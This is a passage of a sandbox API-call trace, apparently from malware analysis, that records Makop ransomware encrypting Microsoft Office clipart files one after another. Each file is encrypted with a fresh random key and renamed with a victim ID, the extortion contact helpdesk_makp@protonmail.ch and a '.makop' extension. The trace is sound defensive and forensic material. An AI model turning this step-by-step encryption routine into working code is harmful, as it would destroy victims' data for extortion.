lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.806] SetEndOfFile (hFile=0xf0) returned 1 [0138.812] GetProcessHeap () returned 0x48a0000 [0138.812] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.812] GetProcessHeap () returned 0x48a0000 [0138.812] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.812] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.814] CloseHandle (hObject=0xf0) returned 1 [0138.814] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1 [0138.814] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 63 [0138.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.816] GetProcessHeap () returned 0x48a0000 [0138.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.816] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0138.820] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.820] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.820] GetProcessHeap () returned 0x48a0000 [0138.820] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.821] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.822] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.822] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15f6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15f6, lpOverlapped=0x0) returned 1 [0138.824] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600, dwBufLen=0x1600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600) returned 1 [0138.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.824] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1600, lpOverlapped=0x0) returned 1 [0138.824] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.824] SetEndOfFile (hFile=0xf0) returned 1 [0138.831] GetProcessHeap () returned 0x48a0000 [0138.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.831] GetProcessHeap () returned 0x48a0000 [0138.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.831] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.833] CloseHandle (hObject=0xf0) returned 1 [0138.833] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1 [0138.833] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF") returned 63 [0138.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.834] GetProcessHeap () returned 0x48a0000 [0138.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.834] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.835] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.835] GetProcessHeap () returned 0x48a0000 [0138.835] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.841] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.841] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.841] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.841] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1090, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1090, lpOverlapped=0x0) returned 1 [0138.842] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1090, dwBufLen=0x1090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1090) returned 1 [0138.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.843] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1090, lpOverlapped=0x0) returned 1 [0138.843] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.843] SetEndOfFile (hFile=0xf0) returned 1 [0138.850] GetProcessHeap () returned 0x48a0000 [0138.850] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.850] GetProcessHeap () returned 0x48a0000 [0138.850] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.850] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.852] CloseHandle (hObject=0xf0) returned 1 [0138.852] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1 [0138.852] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 63 [0138.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.853] GetProcessHeap () returned 0x48a0000 [0138.853] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.853] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0138.857] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.857] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.858] GetProcessHeap () returned 0x48a0000 [0138.858] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.858] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.858] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.859] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.859] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.859] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x31e2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x31e2, lpOverlapped=0x0) returned 1 [0138.860] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31f0, dwBufLen=0x31f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31f0) returned 1 [0138.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x31f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x31f0, lpOverlapped=0x0) returned 1 [0138.861] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.861] SetEndOfFile (hFile=0xf0) returned 1 [0138.869] GetProcessHeap () returned 0x48a0000 [0138.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.869] GetProcessHeap () returned 0x48a0000 [0138.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.869] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.870] CloseHandle (hObject=0xf0) returned 1 [0138.871] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1 [0138.871] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0138.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.873] GetProcessHeap () returned 0x48a0000 [0138.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.873] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.873] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.873] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.873] GetProcessHeap () returned 0x48a0000 [0138.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.873] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.873] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.878] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ae0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ae0, lpOverlapped=0x0) returned 1 [0138.880] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ae0, dwBufLen=0x1ae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ae0) returned 1 [0138.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | 